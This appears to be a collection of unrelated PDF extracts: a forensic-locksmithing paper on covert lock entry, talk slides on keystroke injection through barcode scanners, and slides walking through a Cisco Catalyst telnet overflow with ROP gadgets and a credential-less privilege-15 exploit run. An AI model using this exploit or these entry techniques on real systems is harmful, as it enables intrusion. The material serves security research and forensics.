chambers. If all top pins jump above the shear-line at the same time, the plug can be rotated to unlock the lock. Electric and vibrational pick guns work on a similar principle, but instead oscillate the needle back and forth, causing it to vibrate. The tool is controlled to get the resonating frequency of the needle at the right point so that top pins jump above the shear-line. In the case of vibrational or electric pick guns, we will see considerably more evidence on the plug walls because the device is constantly moving. Forensic Evidence The striking of the pick gun needle against the bottom pins causes very clear forensic evidence. Unlike picking, which causes scratches, the pick gun causes impact marks that, when done many times, begin to resemble the spokes of a bicycle along the circumference of the pin. In this photo (left), several impact marks are visible. The marks left by a pick gun are so distinct, compared to the rest of the pin, that is is often possible to count them to determine how many times the pick gun was triggered. Each time the needle strikes, the bottom pins may rotate slightly, allowing marks to be separate and distinct. In this photo (center), a multitude of impact marks along the tip of the pin are visible. As with lockpicking, the cam of the lock may have marks on it if the needle of the pick gun is inserted too far. Just like the impact marks on the tips of the pins, we can usually count how many times the pick gun was used if it touched the game. In this photo (right), many marks are visible on the cam caused by repeated use of a pick gun. It is likely that cam material will linked to and found on the pick gun, if it is ever recovered. Key Bumping Key bumping is a covert entry technique against pin-tumbler locks that uses a specially prepared key to "bump" top pins above the shear-line. There are two types of key bumping, pull-out and minimal movement, but both produce similar forensic evidence on the bump key and the lock. To bump a lock, a key is acquired that fits the keyway of the lock. The key is modified so that all cuts are at their lowest depths or lower. If done by hand, a key gauge or micrometer can be used to measure the key and ensure cuts are deep enough. If done with a key machine, the key may be duplicated from a working bump key, or cut by code to the lowest depths. In the pull-out method, the key is inserted into the lock fully then withdrawn one pin space. In the minimal movement method, the key is further modified by removing material from the tip and shoulder of the key. The minimal-movement key is inserted completely into the lock. In both cases, light tension is applied to the key and a tool (known as a bump hammer) is used to impact the bow of the key, causing the key to be forced into the lock. The impact on the key causes kinetic energy to travel from the key to the top pins, causing the top pins to momentarily jump. If all top pins jump above the shear-line while tension is applied the plug is free to rotate. Forensic Evidence The act of key bumping basically slams the key against the bottom pins to allow for kinetic energy to be transferred from the key to the top pins. Because they are immobile and absorb the kinetic energy, this causes considerable damage to the bottom pins in the form of large dents. In the photo (left), a large dent is visible on the pin, inconsistent with normal wear (and lockpicking or pick guns, for that matter). A bump key that is cut by hand, with a low speed key cutter, or made of a considerably stronger material (steel, iron, nickel-silver) than the pins may act as a file as it impacts bottom pins. In this photo, light scratches can be seen traveling through the bumping dent. It is possible that marks are distinguishable enough and can be linked to a specific bump key, though this is rare. Bumping is rarely 100% successful, either because bottom pins are bumped above shear line, or top pins are not bumped high enough. When this happens the tension applied will misfire, causing one or more top pins to bind. This causes light shearing against the bottom of the top pins, visible in this photo (right). The pin chambers within the plug may also be damaged by bumping. When kinetic energy does not properly transfer to the top pin, the pin stack may instead press against the chamber walls (caused by the movement of the bump key). Repeated bumping may cause these areas to distort, stretching in various directions. In the photo (left), the pin chamber is stressed is distorted in many directions, but mostly to the top left. One of the most noticeable pieces of evidence from key bumping is damage to the face of the lock. This is caused by the shoulder of the key impacting the area above and below the keyway. The use of modified shoulders may prevent this from happening, commonly done with a glue gun stick (and referred to as a glue gun shoulder). In the photo (center), a large dent above the keyway is present, inconsistent with normal wear. In the minimal-movement method, material is removed from the tip and shoulder. This makes the method work but also inserts the key far enough that in some cases affects the keyway. This is due to the key material getting thicker as it reaches the bow. In the photo (right), this distortion can be seen around the edges of the keyway. Impressioning Impressioning is a covert entry technique that creates a working key for a target lock. Impressioning has two variants: copying, which focuses on making a mold of a working key; manipulation, which focuses on using a blank key to manipulate lock components to determine their proper positions. This page will focus on manipulation-based impressioning. Manipulation-based impressioning works by taking a blank key that fits a target lock, applying extreme torque to the key (thus binding components), and manipulating the key blank in order to produce marks on the key. This is correct for pin-tumbler locks, but the actual process varies for different lock designs. The theory behind impressioning is that components at the wrong position will bind and become immobile. When the soft brass key contacts the immobile components, a mark should be produced. When a component is properly positioned it should no longer bind and thus no longer leave marks. The blank is used to gather marks, then filed in those positions. This is repeated until all components are in their proper position and the lock opens. There are variations on the manipulation process that use pressure responsive materials, such as lead, tape, or plastic to facilitate the process of impressioning. In these cases we may also find material transfer as the soft materials rub against the keyway and inside of the plug. Forensic Evidence Because we are forcibly binding bottom pins at or above the shear line we expect to see marks on the pins where this occurred. In the photo (left) we can see several marks where the pin was bound against the plug in the form of straight lines sheared into the pin. (Note: the scratches to the left are pick marks) Sometimes, impressioning marks are so clear that we can count the rounds of impressioning (right). If marks are far apart the forensic locksmith can also measure the distance between them. This may indicate a more skilled attacker if they are using factory depth increments to speed up the impressioning process. The key blank may be specially prepared for impressioning via manipulation in a variety of ways. One of the possibilities is the use of Ultraviolet ink and an ultraviolet light source. This is an interesting technique, but as you can see in the photo (left) it leaves ultraviolet ink residue on the face and insides of the lock. When using UV impressioning, UV ink is reapplied each time the blank is filed. In turn, the pins will have a large amount of UV reside on them. Notice the obvious key pattern of UV ink across the sides of the pin (right). In addition, the UV pen fibers may have been stuck to the key and left behind on the pins or the plug walls. Decoding Decoding is a general term for a class of covert and surreptitious entry methods, all of which have the expressed purpose of decoding the proper position of components in a lock through an examination of the key or internal components. Decoding is probably the most ambiguous of all the compromise methods, with a wide variety of tools and techniques used. Decoding does not necessarily create a key for the lock, like impressioning would, nor does it always open the lock, as is the case with lockpicking. The power of decoding is the ability to gather information that allows the production of working keys for the lock. Decoding is also powerful because many forms are surreptitious, thus leave no discernible forensic evidence. Keys can be directly examined and decoded. Key decoding focuses on identifying the pattern of bitting cuts on the key. These can be determined by looking at the code numbers stamped on the key, or through direct measurement of each cut with a ruler, micrometer, or caliper. These measurements are used to determine the manufacturer's bitting code so that a key may be easily made. Sophisticated locksmithing tools are available that will automatically identify the bitting code based on the cuts and keyway profile of the key. This is the most basic of decoding methods, and may be problematic with high-security keys that have advanced features like sidebars, angled bitting cuts, moving parts, or magnetic/electronic components. Components inside the lock can also be decoded through invasive, manipulative tools. These tools have radically different designs, and are generally specific to particular brand or model of lock. Most manipulative tools focus on measuring each component to determine: weight, range of movement, shape, spacing, and alignment. Many manipulative decoding tools resemble traditional lockpicking tools with the addition of a measurement device. Opening the lock via lockpicking is sometimes a pre-requisite to decoding the components. Many tools also decode the lock as they pick it. The standard tubular lockpick and the Sputnik tool are the most popular examples. Manipulation of combination locks requires no invasive tools and is discussed more thoroughly in the Anti-Forensics section. Disassembly of the lock can also be done to directly measure all internal components. This can be a complicated procedure depending on what type of lock it is and how it is installed. This process usually requires the lock be compromised first so that the door can be opened. Facilities with lax security measures may leave doors unlocked and unguarded, allowing someone to quickly remove, disassemble, and decode a lock. Reassembly and re-installation of the lock is equally important, and if done incorrectly can cause the lock or proper key to no longer function. In the photo, a hotel safe lock has been (almost) completely disassembled. Consider the implications if the safes in the hotel were master keyed, or keyed with a predictable pattern. Visual/optical decoding focuses on observation or surveillance of the key or internal components without needing to invasively manipulate them. A photograph of a standard key's bitting is enough to decode the bitting code. Surveillance may be used against combination locks to observe the correct combination being entered by an authorized user. Optical decoding uses tools like borescopes or otoscopes to look inside the lock at the internal components. Optics can be used to look at the size, shape, color, alignment, and spacing of internal components. In the photo (right), pin-tumblers can be decoded because they are color-coded to make self-rekeying easier. Radiological imaging is a form of surreptitious decoding that uses penetrating radiation (X, beta, and gamma rays) to "see" inside the lock or safe, revealing the proper positions of components. This is most often used against rotary combination locks to determine the position of each gate in the wheel pack. While very effective against many combination locks, it is expensive and only used by medium-high skill attackers. Thermal imaging is another form of surreptitious decoding that uses special devices to look at thermal residue left on keypad or pushbutton combination locks. This reveals buttons recently pushed, but may not directly reveal the combination sequence. Like radiological imaging, this is generally not used by low skill attackers. As you can see, decoding is a vast array of techniques with forensic evidence equally varied. Manipulation-based decoding tools provide forensic evidence that is similar to lockpicking, but may vary depending on the specific techniques. Examination of keys may leave forensic evidence depending on the type of tools used. Visual, optical, radiological, and thermal decoding are all considered surreptitious and leave no lock related forensic evidence. Bypass Bypass is a form of covert entry that attempts to circumvent the security of the lock by attacking the cam, bolt, or locking knobs directly. While lockpicking focuses on defeating the security of the lock through manipulation of components, bypass goes directly to retracting the bolt without affecting the integrity of the components. Certain bypass techniques are also forms of destructive entry, but bypass generally refers to non-destructive methods. Attacks against the cam or actuator are a class of bypass that is surprisingly effective. In this attack, a poorly designed cam or actuator may be manipulated without affecting components. This vulnerability is somewhat uncommon, but extremely effective and easy to do when present. Because tools must generate a mild amount of torque as well as travel through the plug, they leave distinct tool marks. Spring loaded bolts or latches are subject to an attack known as shimming. In shimming, a wedge is used to separate the bolt from the spring, or the bolt from the recess (such as in a door). The classic credit card trick to open doors is a popular example of this technique. Low-security padlocks are also commonly susceptible to shimming of the shackle. Shimming against doors is also known as loiding. Forensic Evidence Cam manipulation is one of the most common bypass methods. The American 700 (old models) suffer from this vulnerability. Essentially, the cylinder is not required to move in order to actuate the cam. In the photo (left), tool marks left on the cam and back plate indicate that bypass was used as the method of entry. In response to the above attack American Lock issued a hardware patch to prevent the bypass method. It is just a small metal disc, and in the photo (right) we can see tool marks from where bypass was attempted. The 700 has since been redesigned because another attack against this component makes bypass again possible. Key Analysis While investigation of locks is important, it is more common that the keying system has been compromised. Much like the cryptography world, systems are not usually broken by some awe-inspiring flaw but instead by the simple act of obtaining the proper keys. The keys to a specific lock can yield just as much information as the lock itself, sometimes more so because of the possibility of hair, fiber, and fingerprint transfer when handling keys. While examination of locks is excellent for determining the method of entry, examination of keys is doubly excellent for the identification of suspects. When the forensic locksmith receives a key, they examine it in a variety of ways to determine its characteristics, place of original, history, and any evidence that may help to determine how it has been used. The cuts, keyway, and codes on a key are always examined for information. Many keys have codes that identify cuts and keyway. Bitting codes may be direct (literal) or indirect (obfuscated). In the case of indirect codes, the manufacturer may be able to determine to whom and where the key belongs. Other information may also be stamped on the key, such as the name of lock brand, key brand, or the locksmith/hardware store that produced the key. All of which may be used to identify a suspect. The material of a key is also important to many forensic investigations. The material of a key can identify factory original keys, and in some cases specific third-party manufacturers. Certain manufacturers use proprietary alloys to increase longevity and strength of their keys, some of which can be traced back to them. The plating on a key also provides some clues. Manufacturers usually plate factory-original keys after they are cut, while locksmiths and hardware stores will remove the plating of a blank key when making cuts. The plating material may also be used to identify the key blank manufacturer. Key Duplication Keys can be duplicated in many ways, but the most common is duplication by hand or with a key machine. Identifying an original vs. duplicate key is an important function of the forensic locksmith. In addition, the forensic locksmith may be able to determine if the key was recently duplicated. Which of these two photos shows the original key, and which is the duplicate. Why? In this photo (right), the duplicate key is shown. Notice that the ramps and valleys of the key are slightly different than the previous photo. In addition, we see that the key is nickel-silver plated, with no plating on the cuts. Depending on the factory-original specifics, this may also indicate that it is a duplicate key. When a key is duplicated with a stylus-based key machine a mark is left on the side of the original key (left). This is due to the stylus being gently dragged against the key, and resembles a long, straight, polished line. This cannot be confused with wear of the key because it is not in the direct center of the key. Keys can be examined to determine the speed and blade design of the key machine was used to cut them. This photo (right) shows a comparison of two keys, with the one of the left being cut with a lower speed key cutter. If a key machine is found with a suspect, it can be examined to determine if it was used to cut a specific key. Handmade Keys Possession of keys that are made by hand are, in a general sense, somewhat suspicious. In most cases hand made keys are easily identified by measuring the ramp angles, shoulder to first cut distance, and the distance between cuts. Hand-made keys generally have imperfect, jagged ramp angles and poorly spaced cuts. In this photo (center) we see many groups of scratches, with slightly different angles, across the bitting of the key. This is consistent with the use of a file. Specifically, this is a flat file being used on the broad side. With a tool mark comparison we can determine the size, shape, and grade of the file(s) used. In this photo (right) we see a series of cuts with variable depth valleys and light material removal around the edges. This is consistent with use of a dremel. Again, tool mark comparison can determine exactly which dremel bit(s) may have been used. These can be linked with tools found in a suspects possessions. Tool Mark Identification Sometimes marks will be left on the key as a result of normal or malicious use. When a key is duplicated with a cutter, the clamp to hold the original or the blank may leave a mark. In addition, some covert entry techniques may leave tool marks. In this photo (left) we see a set of rather deep marks on the bow. Close up (center) we see a distinct pattern on the largest tool mark. We can hypothesize what made this, and perform a tool mark comparison to confirm. This particular mark was made by a pair of vice grips being used to impression (via manipulation) a blank key. The key should also be examined for impressioning marks. In many covert entry techniques a key is used as a tool to affect entry. Keys with unusual marks or deformations can provide clues as to their use or intended purpose. In this photo (right), the shoulder of the key is deformed and compressed. This happens to be a bump key's shoulder, caused by impact against the face of the lock. Material Transfer Various materials are transferred to the key during use. Generally hair, fiber, and fingerprints will be examined by a crime lab. The forensic locksmith, however, may examine the findings of the crime lab to identify the uses of materials found on keys. In this photo (left) we see a light green residue, which happens to be modeling clay. In this photo (center) we find small traces of white wax left in the warding of the key. Both this and the previous image indicate that the key has been impressioned (via copying). Through further analysis we may be able to link these and other materials to those found in a suspects possessions. Keys should also be viewed under various light sources to fight material residue that may not be visible with the naked eye. In this photo (right), a key is being viewed under ultraviolet light to discover traces of ultraviolet ink along the key bitting area, indicative of impressioning via manipulation. Anti-Forensics & Surreptitious Entry Forensics is a never ending cat and mouse game. Investigators look for better methods to determine what happened while attackers are look for better ways to cover their tracks. So called 'anti-forensics' are various techniques and methods to conceal evidence of entry. In many cases the forensic locksmith is asked to provide an assessment of how plausible certain surreptitious entry techniques are against a given lock. This can be done through a series of laboratory tests, an analysis of the required skills, tools, or money required, and examination of the installation and configuration details of the lock. Cases of completely surreptitious entry are viewed by the investigators on the basis of what facts and logical conclusions present themselves. The idea of anti-forensics materials in tools is a popular but not well researched (publicly) area. Lock picks made of soft materials such as wood or plastic would, in theory, not leave any marks on the considerably stronger brass, nickel-silver, or steel components. While they sound great in theory, they are considerably harder to use in practice. Tools made of these materials are considerably weaker, less maneuverable, and more prone to fracture or breakage than the steel normally used in tools. These types of tools also exhibit drastically reduced feedback capabilities, important in many covert entry techniques, when compared to metal. Coating standard tools with other materials has also been attempted, with limited success. The best example is Teflon coated lock picks, which do not leave traditional marks, but still leave marks. Investigative Process Investigations are broken down into several steps: crime scene investigation, laboratory examinations, investigative reports, and expert testimony. Some investigations may not require all steps; evidence may be mailed to you, testimony may not be required, and so on. The goal of the investigation should be clearly defined from the start. Many investigations will not require that you exhaust all possibilities, but instead give you a clear, direct goal. For example, identifying if a key could have been used to open a lock, if the lock has any pick marks, or if a key machine was used to make a specific key. All of this depends on who the forensic locksmith is working for; insurance companies only need facts relating to their liability, but criminal investigations will be looking for as much information as possible. A thorough treatment of the investigative process as it relates to forensic locksmithing is available on the Forensic Investigation page of Lockpicking Forensics. Resources Unfortunately, few free and readily accessible resources are available for forensic locksmithing. LockpickingForensics.com and LockWiki.com are they only sites that deal with the topic in-depth. There are at least three books that deal with the subject, but more often than not it is combined with generic forensic investigation or tool mark identification literature. Currently, the best English book on the subject is Locks, Safes, and Security by Marc Weber Tobias. Chapters 24-27 deal extensively with forensic investigations of locks and keys. If you can afford it, it is highly recommended. The forensic section can be purchased individually, but I would recommend buying the full book instead. I would also recommend buying the multimedia edition of the book rather than the print version. The multimedia edition comes with a wealth of audio and video recordings that deal with forensic locksmithing. If you can read German, then Manfred Göth's book Werkzeugspur ("Tool Traces") is available. I do not read German, but I am told this book is excellent. Manfred Göth also authored the chapter on forensics in Oliver Diederichsen's book Impressionstechnik ("Impressioning"). This book is available in both English and German. The International Association of Investigative Locksmiths ( IAIL ) provides licensing and certification for forensic/investigative locksmiths. More information is available on their website. There have been many articles published in locksmith and safe technician magazines over the past few decades. Most, if not all, are unavailable in digital form and cannot be re-published due to copyright laws. A few are included in the digital version of Locks, Safes, and Security, mentioned above. If you are interested in general locksmithing or locksport resources, visit the Links page on Lockpicking Forensics or the Community Portal on Lockwiki. About the Author My name is datagram and I run LockpickingForensics.com and LockWiki.com. Information on future events including lectures, workshops, and lockpicking villages can be found on the Events page. Feel free to contact me with any questions, comments, or criticisms about this paper or the website(s). This paper is one of many forensic locksmithing and locksport articles on LockpickingForensics.com.	pdf
Popping shells with your cereal box Michael West T3h Ub3r K1tten Colin Campbell magicspacekiwi humans.txt Michael West magicspacekiwi Enjoys scanning long barcodes on the beach Professional internet tube filler "Master of the web" Barcodes are everywhere Barcodes are everywhere Barcode scanners are everywhere Barcodes usually decode to text Code 128 UPC Aztec PDF417 QR barcOwned 02626260 barcOwned Did you ever hear the tragedy of Darth Plagueis "the wise"? I thought not. It's not a story the Jedi would tell you. It's a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life... He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. https://038000144158.pw/ Scanner soliloquy ● Scanners are mostly the same ● Most common (default) mode: ○ Act as HID keyboard ○ Type buffer key by key ● What could we do if we could ○ Change the text on the fly? ○ Send arbitrary keystrokes? ○ Win + R? To scan, or not to scan... What could we do?* *with proper permission in the scope of a legal, sanctioned pentest It's not a bug!™ ● Some symbologies add control chars ● Code 128: ○ 107 possible characters ○ 0 - 95: portions of ASCII ○ 96-106: control chars ● Control chars trigger programming ● Majority of scanners support this ○ Manufacturer specific FNC3 10111100010 Index: 96 Yes, it's in-band signaling What can programming do? ● Exists for legacy systems ● "We use Cyberdyne to track and herd our cats." ● "It's too expensive to replace or modify." ● "Make it faster!" ● Real (fake) example No, not THAT type of cat... Herding cats Herding cats Barcoding cats Cursor Cursor Cursor Cursor + <tab> + F12 Scanning cats Scanning cats Programming is stupid simple ● Specify criteria ○ All barcodes (no criteria) ○ Barcodes that start with 9 ○ Barcodes that contain "cat" ○ All UPC barcodes ● Specify actions when rule is triggered ● Can store multiple rules ○ Model-specific limits on size "CatERP" Actions we can do with rules ● Modify/replace text ● Ignore text ● Add extra characters ● Add special keys ○ Ctrl or Alt key combos ○ Windows/super key too! ● "Brick" scanners ○ Do nothing! barcOwned (finally) ● Payload design IDE ○ Payloads in JSON ○ Rapidly develop and test ● Abstracts most complexity ○ No deciphering manuals ● Supports Motorola Symbol ○ Send us scanners? ● Open source Harder Than Ducky Script™ Demo Can you turn it off? Red team considerations ● Find beeper hole and cover it if possible ● Successful attacks take significant recon, planning ● BYOS - Bring Your Own Scanner ○ Detach scanner with screwdriver, plug your own in ● Even when systems are off, scanners may be powered ● Laser scanners will only work with paper or a Kindle ● Trick others into delivering barcodes Let someone else do the dirty work Blue team considerations ● No way to secure scanners from programming ○ Some models may not support it ● Assume scanners are hostile keyboards ○ Remove local admin ○ Use endpoint protection + app control ○ Limit PowerShell, cmd, run dialog, etc ● Filter malicious keys at OS-level ○ Or enforce non-HID modes Related talks ● BadBarcode - Yang Yu ○ PacSec 2015 in Tokyo ○ Demoed attack, no paper/code released ● Toying with Barcodes - Felix Lindner ○ DEF CON 16 in 2008 ○ General overview of barcodes as input vectors Special thanks ● Terry Burton - BWIPP ● Mark Warren - bwip-js ● Hermit Hacker - shirts ● Dallas Hackers Association ● CyberArk - travel + support barcowned.com github.com/t3hub3rk1tten/barcowned Michael West @t3hub3rk1tten mwe.st Colin Campbell @magicspacekiwi	pdf
Cisco Catalyst Exploitation Artem Kondratenko Whoami -Penetration tester @ Kaspersky Lab -Hacker -OSC(P\|E) -Skydiver ;) Cisco advisory Cisco advisory • The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: • The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and • The incorrect processing of malformed CMP-specific Telnet options. Cisco advisory . Vault 7: Hacking Tools Revealed Hacking techniques and potential exploit descriptions for multiple vendors: • Microsoft • Apple • Cisco Cisco switch exploit Codename: ROCEM Vault 7: CIA Hacking Tools Revealed Rocem: Modes of Interaction • Set • Unset • Interactive Mode Easy enough • Take two switches • Cluster dem switches! • Look for a magic whatever there is in the traffic • ??? • Profit!! Clustering Cisco switches Controlling Slave-switches from Master $ telnet 192.168.88.10 catalyst1#rcommand 1 catalyst2#show priv Current privilege level is 15 Clustering Catalyst switches For real? Clustering Cisco switches: L2 telnet Magic telnet option Telnet Debug log from Vault ROCEM testing notes Telnet commands and options All Hope Is Lost Replaying CISCO_KITS option during generic telnet session doesn’t work And also... Cisco IPS rule for this vuln is called “Cisco IOS CMP Buffer Overflow” Peeking at firmware The firmware is available at the flash partition of the switch: catalyst2#dir flash: Directory of flash:/ 2 -rwx 9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122- 55.SE1.bin 3 -rwx 2487 Mar 1 1993 00:01:53 +00:00 config.text 4 -rwx 3096 Mar 1 1993 00:09:27 +00:00 multiple-fs Peeking at firmware $ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin DECIMAL HEXADECIMAL DESCRIPTION --------------------------------------------------------------- ----------------- 1120x70 bzip2 compressed data, block size = 900k Unpacked binary size is around 30 mb The Reality Jokes aside • CPU Architecture: PowerPC 32 bit big-endian • Entry point at 0x3000 (obvious during device boot process if you look at it via serial) Discovering functions with IDA python Result: ~80k functions discovered Aww.. the pain of static analysis • No symbols.. Well, of course • The whole OS is a single binary • Indirect function call via function call tables filled at run time Setting up debug environment • There’s no public SDK • Some firmware has a “gdb kernel” command. • Custom gdb server protocol • Unsupported by modern versions of gdb Two options: • Dig up an old gdb version and try to patch it • Use IODIDE George Nosenko built an IDA adapter to debug IOS but it’s not public So I patched GDB… IODIDE – the smooth experience Well.. Had to debug IODIDE to be able to debug IOS IODIDE Hunting for string XREFS After recognizing functions and strings with IDAPython XREFS start to appear: Digging deeper CISCO_KITS Client side send a string: «\x03CISCO_KITS\x012::1:» Second string modifier %s – was observed empty in the traffic dump Let’s take a closer look at the code that parses this string CISCO_KITS Copying until “:” to the buffer residing on the stack.. Buffalo overflow! from pwn import * payload = cyclic_metasploit(200) sock.send(payload) cyclic_metasploit_find(pc) Crash – instruction pointer is overwritten by a 116th byte Too easy? • R9 points to our buffer • No bad chars • Wow, that looks to good to be true • Just overwrite Program Counter with an instruction that jump to R9 Fail • Both heap and stack are non-executable. Btw, stack resides on the heap ;) • Device reboot • But why? A little flashback • A brilliant talk by Felix @ BlackHat Return oriented programing • Code reuse in the binary • Using stack as the data source r Epilog chaining to perform arbitrary memory writes Typical function epilog in the firmware Looking for gadgets • https://github.com/sashs/Ropper Ok, whatever dude... But whatcha gonna write? First thing that comes to mind – patch the execution flow, responsible for the credential check. Wow… Looks like it worked: $ telnet 192.168.88.10 Trying 192.168.88.10... Connected to 192.168.88.10. Escape character is '^]'. catalyst1> Not quite Works only under the debugger. Exception is triggered when trying to exploit the live set-up More static analysis • A couple of hours (days?) later... Indirect function calls Got privileges? No creds required 1st gadget 0x000037b4: lwz r0, 0x14(r1) mtlr r0 lwz r30, 8(r1) lwz r31, 0xc(r1) addi r1, r1, 0x10 blr 1. Put ret address into r0 2. Load data pointed by r1+8 into r30 (is_cluster_mode func pointer) 3. Load data pointed by r1+0xc into r31 (address of “ret 1” function) 4. Add 0x10 to stack pointer 5. BLR! We jump to the next gadget 2st gadget 0x00dffbe8: stw r31, 0x34(r30) lwz r0, 0x14(r1) mtlr r0 lmw r30, 8(r1) addi r1, r1, 0x10 blr 1. Write r31 contents to memory pointer by r30+0x34 2. Move next gadget’s address into r0 3. Junk code 4. Shift stack by 0x10 bytes 5. BLR! Jump to the next gadget 3rd, 4th and 5th gadgets 0x0006788c: lwz r9, 8(r1) lwz r3, 0x2c(r9) lwz r0, 0x14(r1) mtlr r0 addi r1, r1, 0x10 blr 1. r3 = (0x2c + (r1+8)) - address of pointer to get_privilege_level func 2. R31 = *(r1 + 8) – r31 conteints address of function that always return 15 3. Overwrite the pointer 0x006ba128: lwz r31, 8(r1) lwz r30, 0xc(r1) addi r1, r1, 0x10 lwz r0, 4(r1) mtlr r0 blr 0x0148e560: stw r31, 0(r3) lwz r0, 0x14(r1) mtlr r0 lwz r31, 0xc(r1) addi r1, r1, 0x10 blr PROFIT! $ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set [+] Connection OK [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f' [+] Sending cluster option [+] Setting credless privilege 15 authentication [+] All done $ telnet 192.168.88.10 Trying 192.168.88.10... Connected to 192.168.88.10. Escape character is '^]'. catalyst1#show priv Current privilege level is 15 Side note • These switch models are common on pentests • Successfully exploited this vulnerability on real life engagements: • Leak firmware version via SNMP • Customize exploit • Enjoy your shell Conclusion • Exploitation challenges: • Shellcode reliability for multiple firmware versions • Automating the search for suitable ROP gadgets • Finding a way execute arbitrary PPC instructions instead of arbitrary memory writes Thanks! @artkond artkond.com	pdf
Measuring and Integrating the Shadow Economy: A Sector-Specific Approach Brian K. Edwards, Ph.D. Silvio J. Flaim, Ph.D. Los Alamos National Laboratory June 30, 2008 2 Overview • Scope of shadow economic activity • Size of shadow economy in the United States and other countries • Why shadow economies exist • Adding a shadow information sector to simplified version of the official economy • Shadow-official economy interactions • Benefits and burdens of shadow economic activity 3 The Scope of Shadow Economy Activity All do-it-yourself work and neighbor help Barter of legal goods and services Employee discounts, fringe benefits Income from self- employment; Wages, salaries and assets from unreported work related to legal services and goods Legal Activities in the Shadow Economy Tax Avoidance Tax Evasion Tax Avoidance Tax Evasion Nonmonetary Transactions Monetary Transactions Adapted from Schneider and Enste (2000). Barter: stolen goods, smuggling, etc. Produce or growing drugs for own use. Theft for own use. Trade in stolen goods; drug dealing and manufacturing; prostitution, gambling, smuggling (international and inter-state) and fraud. Counterfeiting. Computer system hacking; trading stolen information; identity theft; spamming (?) Illegal Activities 4 Measuring the Shadow Economy • Virtually all previous studies on measuring the size of the shadow economy focus on the aggregate shadow economy, usually expressed in terms of the size of the official economy. • Little or no work attempting to estimate the size of specific shadow economy sectors within the context of the rest of the legal economy. 5 Shadow Economy in US • Schneider and Enste (2000) estimate the total US shadow economy at between 8 and 10 percent of US GDP, or from $1 to $1.4 trillion. • Evidence on the size of specific sectors of the shadow economy in the US is largely anecdotal, and does not attempt to analyze how the shadow economy is linked to the official economy. 6 International Comparisons • Estimates of the aggregate shadow economies of different countries vary widely. • Some examples: – The shadow economies of Thailand, Nigeria, and Egypt amount to about 70 percent of their respective GDP. – The shadow economies of Guatemala, Mexico, Panama, and Peru amount to 40 to 60 percent of their respective GDP. – The shadow economies of the Philippines, Sri Lanka, Malaysia, and South Korea amount to 30 to 50 percent of their respective GDP. 7 International Comparisons Developing Countries % of GDP Transition Economies % of GDP Africa Central Europe Nigeria, Egypt 68-76% Hungary, Bulgaria, Poland 20-28% Tunisia, Morocco 39-45% Romania, Slovakia, Czech Republic 9-16% Central and South America Former Soviet Union Countries Guatemala, Mexico, Peru, Panama 40-60% Georgia, Azerbaijan, Ukraine, Belarus 28-43% Chile, Costa Rica, Venezuela, Brazil, Paraguay, Colombia 25-35% Russia, Lithuania, Latvia, Estonia 20-27% Asia OECD Countries Thailand 70% Greece, Italy, Spain, Portugal, Belgium 24-30% Philippines, Sri Lanka, Malaysia, South Korea 38-50% Sweden, Norway, Denmark, Ireland, France, Netherlands, Germany, Great Britain 13-23% Hong Kong, Singapore 13% Japan, United States, Austria, Switzerland 8-10% Source: Schneider and Enste (2000) 8 Why Shadow Economies Exist • Analysis by Becker (1968) and others suggests that people engage in shadow economic activity for financial/economic gain, and weigh expected gains with expected costs (factoring in risk) in ways not inconsistent with the predictions of traditional economic theory. • Some incentive areas include: – Burden of taxes and social insurance contributions – Intensity of regulation – Social transfers – Labor market regulation – Public Sector Services 9 Incentive Issues • Burden of taxes and social insurance contributions – Differences between total cost of labor in the official economy and after-tax labor earnings provides an incentive to sell labor in the shadow economy. – Loayza (1997) estimated the size of the shadow economies of 14 Latin American countries and found that greater tax burdens and labor market restrictions increased the size of the shadow economies of those countries. • Intensity of regulation – Increased regulation reduces individuals’ choices in the official economy. – Shifting regulatory costs to employees provides incentives for workers to supply labor to the shadow economy. 10 Incentive Issues (continued) • Social transfers – The social welfare system can increase the marginal tax rate, thereby reducing incentives to work in the official economy. – This system can also provide disincentives for individuals receiving welfare payments to seek work in the official economy. • Labor market regulation – Overregulation and labor costs in the official labor market are driving forces for the shadow economy (Schneider and Enste, 2000). – Forced reductions in working hours contrary to employee preferences increases the potential hours they can work in the shadow economy. 11 Incentive Issues (continued) • Public Sector Services – An increase in the shadow economy decreases government revenues, which can reduce the quantity and quality of public services. – This can lead to increased taxes in the official sector which, along with the deterioration in the quality of public goods, can provide additional incentives to participate in the shadow economy. – Johnson, Kaufmann, and Zoido-Lobatón (1998) show that smaller shadow economies appear in countries with higher tax revenues, if achieved by lower tax rates, fewer laws and regulations, and less bribery facing enterprises. – They also find that countries with a better rule of law which is financed by tax revenues also have smaller shadow economies. 12 Shadow-Official Economy Links • Previous work that attempts to link the official and shadow economies are macroeconomic. • For example: – Houston (1987) develops a business cycle model that includes tax and monetary policy linkages. – Adam and Ginsburg (1985) focus on the implications of the shadow economy on official growth. 13 Focus on Information Sector • The shadow information sector is composed of individuals and organizations engaged in: – Computer system hacking – Trading stolen information – Identity theft – Spamming – Other activities 14 Shadow Information Sector and Rest of Economy • Input-Output (IO) models have long been used to examine inter-industry linkages and how, among other things, changes in final demand affect the demand for goods and services in specific industries. • A preliminary input-output formulation of the US economy with an added shadow information sector is developed and presented. 15 Simplified 3-Sector Official Economy • Consider a 3-sector economy with manufacturing, services and other, and information sectors. The economy is aggregated into these three sectors to simplify presentation. • The following input-output table illustrates how these industries interact in the production of goods and services for our hypothetical economy. • The figures are based on 2002 US economic statistics and are expressed in billions of dollars. • Table shows 2002 GDP of approximately $10.7 trillion. 16 Input-Output Representation of Hypothetical Official Economy 19,180.0 10,671.9 - 955.4 14,374.1 3,850.5 Total Industry Output - - - 530.8 8,860.8 1,280.2 Value Added 19,180.0 10,671.9 8,508.1 424.5 5,513.3 2,570.3 Total Intermediate Inputs 779.4 400.2 379.2 131.3 215.9 32.0 Information 14,598.0 8,879.1 5,718.9 238.8 4,279.1 1,201.0 Services and Other 3,802.6 1,392.6 2,410.0 54.4 